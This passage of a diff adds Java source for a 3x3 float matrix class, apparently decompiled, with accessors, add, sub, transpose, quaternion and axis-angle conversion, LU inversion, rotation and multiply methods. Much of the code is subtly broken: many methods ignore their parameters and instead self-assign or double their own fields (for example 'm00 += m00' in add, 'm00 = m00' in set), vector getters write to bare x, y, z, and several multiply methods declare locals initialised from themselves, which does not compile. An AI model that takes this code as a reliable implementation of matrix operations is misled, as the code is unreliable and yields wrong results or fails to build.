+        m21 = value;
+        break;
+      case 2: 
+        m22 = value;
+        break;
+      
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f0"));
+      }
+      
+      break;
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f0"));
+    }
+    
+  }
+  
+
+
+
+  public final void getRow(int row, Vector3f v)
+  {
+    if (row == 0) {
+      x = m00;
+      y = m01;
+      z = m02;
+    } else if (row == 1) {
+      x = m10;
+      y = m11;
+      z = m12;
+    } else if (row == 2) {
+      x = m20;
+      y = m21;
+      z = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f1"));
+    }
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, float[] v)
+  {
+    if (row == 0) {
+      v[0] = m00;
+      v[1] = m01;
+      v[2] = m02;
+    } else if (row == 1) {
+      v[0] = m10;
+      v[1] = m11;
+      v[2] = m12;
+    } else if (row == 2) {
+      v[0] = m20;
+      v[1] = m21;
+      v[2] = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f1"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, Vector3f v)
+  {
+    if (column == 0) {
+      x = m00;
+      y = m10;
+      z = m20;
+    } else if (column == 1) {
+      x = m01;
+      y = m11;
+      z = m21;
+    } else if (column == 2) {
+      x = m02;
+      y = m12;
+      z = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f3"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, float[] v)
+  {
+    if (column == 0) {
+      v[0] = m00;
+      v[1] = m10;
+      v[2] = m20;
+    } else if (column == 1) {
+      v[0] = m01;
+      v[1] = m11;
+      v[2] = m21;
+    } else if (column == 2) {
+      v[0] = m02;
+      v[1] = m12;
+      v[2] = m22;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f3"));
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final float getElement(int row, int column)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        return m00;
+      case 1: 
+        return m01;
+      case 2: 
+        return m02;
+      }
+      break;
+    
+
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        return m10;
+      case 1: 
+        return m11;
+      case 2: 
+        return m12;
+      }
+      break;
+    
+
+
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        return m20;
+      case 1: 
+        return m21;
+      case 2: 
+        return m22;
+      }
+      break;
+    }
+    
+    
+
+
+
+    throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f5"));
+  }
+  
+
+
+
+
+
+
+
+  public final void setRow(int row, float x, float y, float z)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f6"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, Vector3f v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f6"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, float[] v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = v[0];
+      m01 = v[1];
+      m02 = v[2];
+      break;
+    
+    case 1: 
+      m10 = v[0];
+      m11 = v[1];
+      m12 = v[2];
+      break;
+    
+    case 2: 
+      m20 = v[0];
+      m21 = v[1];
+      m22 = v[2];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f6"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+  public final void setColumn(int column, float x, float y, float z)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, Vector3f v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, float[] v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = v[0];
+      m10 = v[1];
+      m20 = v[2];
+      break;
+    
+    case 1: 
+      m01 = v[0];
+      m11 = v[1];
+      m21 = v[2];
+      break;
+    
+    case 2: 
+      m02 = v[0];
+      m12 = v[1];
+      m22 = v[2];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix3f9"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public final float getScale()
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    return (float)Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+  public final void add(float scalar)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+  }
+  
+
+
+
+
+
+
+  public final void add(float scalar, Matrix3f m1)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix3f m1, Matrix3f m2)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix3f m1)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Matrix3f m1, Matrix3f m2)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+  }
+  
+
+
+
+
+
+  public final void sub(Matrix3f m1)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+  }
+  
+
+
+
+
+
+  public final void transpose()
+  {
+    float temp = m10;
+    m10 = m01;
+    m01 = temp;
+    
+    temp = m20;
+    m20 = m02;
+    m02 = temp;
+    
+    temp = m21;
+    m21 = m12;
+    m12 = temp;
+  }
+  
+
+
+
+
+  public final void transpose(Matrix3f m1)
+  {
+    if (this != m1) {
+      m00 = m00;
+      m01 = m10;
+      m02 = m20;
+      
+      m10 = m01;
+      m11 = m11;
+      m12 = m21;
+      
+      m20 = m02;
+      m21 = m12;
+      m22 = m22;
+    } else {
+      transpose();
+    }
+  }
+  
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    m00 = (1.0F - 2.0F * y * y - 2.0F * z * z);
+    m10 = (2.0F * (x * y + w * z));
+    m20 = (2.0F * (x * z - w * y));
+    
+    m01 = (2.0F * (x * y - w * z));
+    m11 = (1.0F - 2.0F * x * x - 2.0F * z * z);
+    m21 = (2.0F * (y * z + w * x));
+    
+    m02 = (2.0F * (x * z + w * y));
+    m12 = (2.0F * (y * z - w * x));
+    m22 = (1.0F - 2.0F * x * x - 2.0F * y * y);
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    float mag = (float)Math.sqrt(x * x + y * y + z * z);
+    if (mag < 1.0E-8D) {
+      m00 = 1.0F;
+      m01 = 0.0F;
+      m02 = 0.0F;
+      
+      m10 = 0.0F;
+      m11 = 1.0F;
+      m12 = 0.0F;
+      
+      m20 = 0.0F;
+      m21 = 0.0F;
+      m22 = 1.0F;
+    } else {
+      mag = 1.0F / mag;
+      float ax = x * mag;
+      float ay = y * mag;
+      float az = z * mag;
+      
+      float sinTheta = (float)Math.sin(angle);
+      float cosTheta = (float)Math.cos(angle);
+      float t = 1.0F - cosTheta;
+      
+      float xz = ax * az;
+      float xy = ax * ay;
+      float yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    if (mag < 1.0E-8D) {
+      m00 = 1.0F;
+      m01 = 0.0F;
+      m02 = 0.0F;
+      
+      m10 = 0.0F;
+      m11 = 1.0F;
+      m12 = 0.0F;
+      
+      m20 = 0.0F;
+      m21 = 0.0F;
+      m22 = 1.0F;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = ax * az;
+      double xy = ax * ay;
+      double yz = ay * az;
+      
+      m00 = ((float)(t * ax * ax + cosTheta));
+      m01 = ((float)(t * xy - sinTheta * az));
+      m02 = ((float)(t * xz + sinTheta * ay));
+      
+      m10 = ((float)(t * xy + sinTheta * az));
+      m11 = ((float)(t * ay * ay + cosTheta));
+      m12 = ((float)(t * yz - sinTheta * ax));
+      
+      m20 = ((float)(t * xz - sinTheta * ay));
+      m21 = ((float)(t * yz + sinTheta * ax));
+      m22 = ((float)(t * az * az + cosTheta));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    m00 = ((float)(1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = ((float)(2.0D * (x * y + w * z)));
+    m20 = ((float)(2.0D * (x * z - w * y)));
+    
+    m01 = ((float)(2.0D * (x * y - w * z)));
+    m11 = ((float)(1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = ((float)(2.0D * (y * z + w * x)));
+    
+    m02 = ((float)(2.0D * (x * z + w * y)));
+    m12 = ((float)(2.0D * (y * z - w * x)));
+    m22 = ((float)(1.0D - 2.0D * x * x - 2.0D * y * y));
+  }
+  
+
+
+
+
+
+
+  public final void set(float[] m)
+  {
+    m00 = m[0];
+    m01 = m[1];
+    m02 = m[2];
+    
+    m10 = m[3];
+    m11 = m[4];
+    m12 = m[5];
+    
+    m20 = m[6];
+    m21 = m[7];
+    m22 = m[8];
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    m00 = ((float)m00);
+    m01 = ((float)m01);
+    m02 = ((float)m02);
+    
+    m10 = ((float)m10);
+    m11 = ((float)m11);
+    m12 = ((float)m12);
+    
+    m20 = ((float)m20);
+    m21 = ((float)m21);
+    m22 = ((float)m22);
+  }
+  
+
+
+
+
+
+
+
+  public final void invert(Matrix3f m1)
+  {
+    invertGeneral(m1);
+  }
+  
+
+
+
+  public final void invert()
+  {
+    invertGeneral(this);
+  }
+  
+
+
+
+
+
+
+
+  private final void invertGeneral(Matrix3f m1)
+  {
+    double[] temp = new double[9];
+    double[] result = new double[9];
+    int[] row_perm = new int[3];
+    
+
+
+
+
+
+    temp[0] = m00;
+    temp[1] = m01;
+    temp[2] = m02;
+    
+    temp[3] = m10;
+    temp[4] = m11;
+    temp[5] = m12;
+    
+    temp[6] = m20;
+    temp[7] = m21;
+    temp[8] = m22;
+    
+
+
+    if (!luDecomposition(temp, row_perm))
+    {
+      throw new SingularMatrixException(VecMathI18N.getString("Matrix3f12"));
+    }
+    
+
+    for (int i = 0; i < 9; i++) result[i] = 0.0D;
+    result[0] = 1.0D;result[4] = 1.0D;result[8] = 1.0D;
+    luBacksubstitution(temp, row_perm, result);
+    
+    m00 = ((float)result[0]);
+    m01 = ((float)result[1]);
+    m02 = ((float)result[2]);
+    
+    m10 = ((float)result[3]);
+    m11 = ((float)result[4]);
+    m12 = ((float)result[5]);
+    
+    m20 = ((float)result[6]);
+    m21 = ((float)result[7]);
+    m22 = ((float)result[8]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static boolean luDecomposition(double[] matrix0, int[] row_perm)
+  {
+    double[] row_scale = new double[3];
+    
+
+
+
+
+
+
+    int ptr = 0;
+    int rs = 0;
+    
+
+    int i = 3;
+    while (i-- != 0) {
+      double big = 0.0D;
+      
+
+      int j = 3;
+      while (j-- != 0) {
+        double temp = matrix0[(ptr++)];
+        temp = Math.abs(temp);
+        if (temp > big) {
+          big = temp;
+        }
+      }
+      
+
+      if (big == 0.0D) {
+        return false;
+      }
+      row_scale[(rs++)] = (1.0D / big);
+    }
+    
+
+
+
+
+
+    int mtx = 0;
+    
+
+    for (int j = 0; j < 3; j++)
+    {
+
+
+
+
+      for (int i = 0; i < j; i++) {
+        int target = mtx + 3 * i + j;
+        double sum = matrix0[target];
+        int k = i;
+        int p1 = mtx + 3 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 3;
+        }
+        matrix0[target] = sum;
+      }
+      
+
+
+      double big = 0.0D;
+      int imax = -1;
+      for (i = j; i < 3; i++) {
+        int target = mtx + 3 * i + j;
+        double sum = matrix0[target];
+        int k = j;
+        int p1 = mtx + 3 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 3;
+        }
+        matrix0[target] = sum;
+        
+        double temp;
+        if ((temp = row_scale[i] * Math.abs(sum)) >= big) {
+          big = temp;
+          imax = i;
+        }
+      }
+      
+      if (imax < 0) {
+        throw new RuntimeException(VecMathI18N.getString("Matrix3f13"));
+      }
+      
+
+      if (j != imax)
+      {
+        int k = 3;
+        int p1 = mtx + 3 * imax;
+        int p2 = mtx + 3 * j;
+        while (k-- != 0) {
+          double temp = matrix0[p1];
+          matrix0[(p1++)] = matrix0[p2];
+          matrix0[(p2++)] = temp;
+        }
+        
+
+        row_scale[imax] = row_scale[j];
+      }
+      
+
+      row_perm[j] = imax;
+      
+
+      if (matrix0[(mtx + 3 * j + j)] == 0.0D) {
+        return false;
+      }
+      
+
+      if (j != 2) {
+        double temp = 1.0D / matrix0[(mtx + 3 * j + j)];
+        int target = mtx + 3 * (j + 1) + j;
+        i = 2 - j;
+        while (i-- != 0) {
+          matrix0[target] *= temp;
+          target += 3;
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void luBacksubstitution(double[] matrix1, int[] row_perm, double[] matrix2)
+  {
+    int rp = 0;
+    
+
+    for (int k = 0; k < 3; k++)
+    {
+      int cv = k;
+      int ii = -1;
+      
+
+      for (int i = 0; i < 3; i++)
+      {
+
+        int ip = row_perm[(rp + i)];
+        double sum = matrix2[(cv + 3 * ip)];
+        matrix2[(cv + 3 * ip)] = matrix2[(cv + 3 * i)];
+        if (ii >= 0)
+        {
+          int rv = i * 3;
+          for (int j = ii; j <= i - 1; j++) {
+            sum -= matrix1[(rv + j)] * matrix2[(cv + 3 * j)];
+          }
+        }
+        if (sum != 0.0D) {
+          ii = i;
+        }
+        matrix2[(cv + 3 * i)] = sum;
+      }
+      
+
+
+      int rv = 6;
+      matrix2[(cv + 6)] /= matrix1[(rv + 2)];
+      
+      rv -= 3;
+      matrix2[(cv + 3)] = ((matrix2[(cv + 3)] - matrix1[(rv + 2)] * matrix2[(cv + 6)]) / matrix1[(rv + 1)]);
+      
+
+      rv -= 3;
+      matrix2[(cv + 0)] = ((matrix2[(cv + 0)] - matrix1[(rv + 1)] * matrix2[(cv + 3)] - matrix1[(rv + 2)] * matrix2[(cv + 6)]) / matrix1[(rv + 0)]);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final float determinant()
+  {
+    float total = m00 * (m11 * m22 - m12 * m21) + m01 * (m12 * m20 - m10 * m22) + m02 * (m10 * m21 - m11 * m20);
+    
+
+    return total;
+  }
+  
+
+
+
+
+
+  public final void set(float scale)
+  {
+    m00 = scale;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = scale;
+    m12 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = scale;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotX(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = 1.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = cosAngle;
+    m12 = (-sinAngle);
+    
+    m20 = 0.0F;
+    m21 = sinAngle;
+    m22 = cosAngle;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotY(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = 0.0F;
+    m02 = sinAngle;
+    
+    m10 = 0.0F;
+    m11 = 1.0F;
+    m12 = 0.0F;
+    
+    m20 = (-sinAngle);
+    m21 = 0.0F;
+    m22 = cosAngle;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotZ(float angle)
+  {
+    float sinAngle = (float)Math.sin(angle);
+    float cosAngle = (float)Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = (-sinAngle);
+    m02 = 0.0F;
+    
+    m10 = sinAngle;
+    m11 = cosAngle;
+    m12 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 1.0F;
+  }
+  
+
+
+
+
+  public final void mul(float scalar)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+  }
+  
+
+
+
+
+
+
+  public final void mul(float scalar, Matrix3f m1)
+  {
+    m00 = (scalar * m00);
+    m01 = (scalar * m01);
+    m02 = (scalar * m02);
+    
+    m10 = (scalar * m10);
+    m11 = (scalar * m11);
+    m12 = (scalar * m12);
+    
+    m20 = (scalar * m20);
+    m21 = (scalar * m21);
+    m22 = (scalar * m22);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mul(Matrix3f m1)
+  {
+    float m00 = this.m00 * m00 + this.m01 * m10 + this.m02 * m20;
+    float m01 = this.m00 * m01 + this.m01 * m11 + this.m02 * m21;
+    float m02 = this.m00 * m02 + this.m01 * m12 + this.m02 * m22;
+    
+    float m10 = this.m10 * m00 + this.m11 * m10 + this.m12 * m20;
+    float m11 = this.m10 * m01 + this.m11 * m11 + this.m12 * m21;
+    float m12 = this.m10 * m02 + this.m11 * m12 + this.m12 * m22;
+    
+    float m20 = this.m20 * m00 + this.m21 * m10 + this.m22 * m20;
+    float m21 = this.m20 * m01 + this.m21 * m11 + this.m22 * m21;
+    float m22 = this.m20 * m02 + this.m21 * m12 + this.m22 * m22;
+    
+    this.m00 = m00;this.m01 = m01;this.m02 = m02;
+    this.m10 = m10;this.m11 = m11;this.m12 = m12;
+    this.m20 = m20;this.m21 = m21;this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final void mul(Matrix3f m1, Matrix3f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m10 + m02 * m20);
+      this.m01 = (m00 * m01 + m01 * m11 + m02 * m21);
+      this.m02 = (m00 * m02 + m01 * m12 + m02 * m22);
+      
+      this.m10 = (m10 * m00 + m11 * m10 + m12 * m20);
+      this.m11 = (m10 * m01 + m11 * m11 + m12 * m21);
+      this.m12 = (m10 * m02 + m11 * m12 + m12 * m22);
+      
+      this.m20 = (m20 * m00 + m21 * m10 + m22 * m20);
+      this.m21 = (m20 * m01 + m21 * m11 + m22 * m21);
+      this.m22 = (m20 * m02 + m21 * m12 + m22 * m22);
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m01 * m10 + m02 * m20;
+      float m01 = m00 * m01 + m01 * m11 + m02 * m21;
+      float m02 = m00 * m02 + m01 * m12 + m02 * m22;
+      
+      float m10 = m10 * m00 + m11 * m10 + m12 * m20;
+      float m11 = m10 * m01 + m11 * m11 + m12 * m21;
+      float m12 = m10 * m02 + m11 * m12 + m12 * m22;
+      
+      float m20 = m20 * m00 + m21 * m10 + m22 * m20;
+      float m21 = m20 * m01 + m21 * m11 + m22 * m21;
+      float m22 = m20 * m02 + m21 * m12 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void mulNormalize(Matrix3f m1)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    tmp[0] = (m00 * m00 + m01 * m10 + m02 * m20);
+    tmp[1] = (m00 * m01 + m01 * m11 + m02 * m21);
+    tmp[2] = (m00 * m02 + m01 * m12 + m02 * m22);
+    
+    tmp[3] = (m10 * m00 + m11 * m10 + m12 * m20);
+    tmp[4] = (m10 * m01 + m11 * m11 + m12 * m21);
+    tmp[5] = (m10 * m02 + m11 * m12 + m12 * m22);
+    
+    tmp[6] = (m20 * m00 + m21 * m10 + m22 * m20);
+    tmp[7] = (m20 * m01 + m21 * m11 + m22 * m21);
+    tmp[8] = (m20 * m02 + m21 * m12 + m22 * m22);
+    
+    Matrix3d.compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulNormalize(Matrix3f m1, Matrix3f m2)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+
+    tmp[0] = (m00 * m00 + m01 * m10 + m02 * m20);
+    tmp[1] = (m00 * m01 + m01 * m11 + m02 * m21);
+    tmp[2] = (m00 * m02 + m01 * m12 + m02 * m22);
+    
+    tmp[3] = (m10 * m00 + m11 * m10 + m12 * m20);
+    tmp[4] = (m10 * m01 + m11 * m11 + m12 * m21);
+    tmp[5] = (m10 * m02 + m11 * m12 + m12 * m22);
+    
+    tmp[6] = (m20 * m00 + m21 * m10 + m22 * m20);
+    tmp[7] = (m20 * m01 + m21 * m11 + m22 * m21);
+    tmp[8] = (m20 * m02 + m21 * m12 + m22 * m22);
+    
+    Matrix3d.compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+
+
+  public final void mulTransposeBoth(Matrix3f m1, Matrix3f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m01 + m20 * m02);
+      this.m01 = (m00 * m10 + m10 * m11 + m20 * m12);
+      this.m02 = (m00 * m20 + m10 * m21 + m20 * m22);
+      
+      this.m10 = (m01 * m00 + m11 * m01 + m21 * m02);
+      this.m11 = (m01 * m10 + m11 * m11 + m21 * m12);
+      this.m12 = (m01 * m20 + m11 * m21 + m21 * m22);
+      
+      this.m20 = (m02 * m00 + m12 * m01 + m22 * m02);
+      this.m21 = (m02 * m10 + m12 * m11 + m22 * m12);
+      this.m22 = (m02 * m20 + m12 * m21 + m22 * m22);
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m10 * m01 + m20 * m02;
+      float m01 = m00 * m10 + m10 * m11 + m20 * m12;
+      float m02 = m00 * m20 + m10 * m21 + m20 * m22;
+      
+      float m10 = m01 * m00 + m11 * m01 + m21 * m02;
+      float m11 = m01 * m10 + m11 * m11 + m21 * m12;
+      float m12 = m01 * m20 + m11 * m21 + m21 * m22;
+      
+      float m20 = m02 * m00 + m12 * m01 + m22 * m02;
+      float m21 = m02 * m10 + m12 * m11 + m22 * m12;
+      float m22 = m02 * m20 + m12 * m21 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulTransposeRight(Matrix3f m1, Matrix3f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m01 * m01 + m02 * m02);
+      this.m01 = (m00 * m10 + m01 * m11 + m02 * m12);
+      this.m02 = (m00 * m20 + m01 * m21 + m02 * m22);
+      
+      this.m10 = (m10 * m00 + m11 * m01 + m12 * m02);
+      this.m11 = (m10 * m10 + m11 * m11 + m12 * m12);
+      this.m12 = (m10 * m20 + m11 * m21 + m12 * m22);
+      
+      this.m20 = (m20 * m00 + m21 * m01 + m22 * m02);
+      this.m21 = (m20 * m10 + m21 * m11 + m22 * m12);
+      this.m22 = (m20 * m20 + m21 * m21 + m22 * m22);
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m01 * m01 + m02 * m02;
+      float m01 = m00 * m10 + m01 * m11 + m02 * m12;
+      float m02 = m00 * m20 + m01 * m21 + m02 * m22;
+      
+      float m10 = m10 * m00 + m11 * m01 + m12 * m02;
+      float m11 = m10 * m10 + m11 * m11 + m12 * m12;
+      float m12 = m10 * m20 + m11 * m21 + m12 * m22;
+      
+      float m20 = m20 * m00 + m21 * m01 + m22 * m02;
+      float m21 = m20 * m10 + m21 * m11 + m22 * m12;
+      float m22 = m20 * m20 + m21 * m21 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void mulTransposeLeft(Matrix3f m1, Matrix3f m2)
+  {
+    if ((this != m1) && (this != m2)) {
+      this.m00 = (m00 * m00 + m10 * m10 + m20 * m20);
+      this.m01 = (m00 * m01 + m10 * m11 + m20 * m21);
+      this.m02 = (m00 * m02 + m10 * m12 + m20 * m22);
+      
+      this.m10 = (m01 * m00 + m11 * m10 + m21 * m20);
+      this.m11 = (m01 * m01 + m11 * m11 + m21 * m21);
+      this.m12 = (m01 * m02 + m11 * m12 + m21 * m22);
+      
+      this.m20 = (m02 * m00 + m12 * m10 + m22 * m20);
+      this.m21 = (m02 * m01 + m12 * m11 + m22 * m21);
+      this.m22 = (m02 * m02 + m12 * m12 + m22 * m22);
+
+    }
+    else
+    {
+
+      float m00 = m00 * m00 + m10 * m10 + m20 * m20;
+      float m01 = m00 * m01 + m10 * m11 + m20 * m21;
+      float m02 = m00 * m02 + m10 * m12 + m20 * m22;
+      
+      float m10 = m01 * m00 + m11 * m10 + m21 * m20;
+      float m11 = m01 * m01 + m11 * m11 + m21 * m21;
+      float m12 = m01 * m02 + m11 * m12 + m21 * m22;
+      
+      float m20 = m02 * m00 + m12 * m10 + m22 * m20;
+      float m21 = m02 * m01 + m12 * m11 + m22 * m21;
+      float m22 = m02 * m02 + m12 * m12 + m22 * m22;
+      
+      this.m00 = m00;this.m01 = m01;this.m02 = m02;
+      this.m10 = m10;this.m11 = m11;this.m12 = m12;
+      this.m20 = m20;this.m21 = m21;this.m22 = m22;
+    }
+  }
+  
+
+
+
+  public final void normalize()
+  {
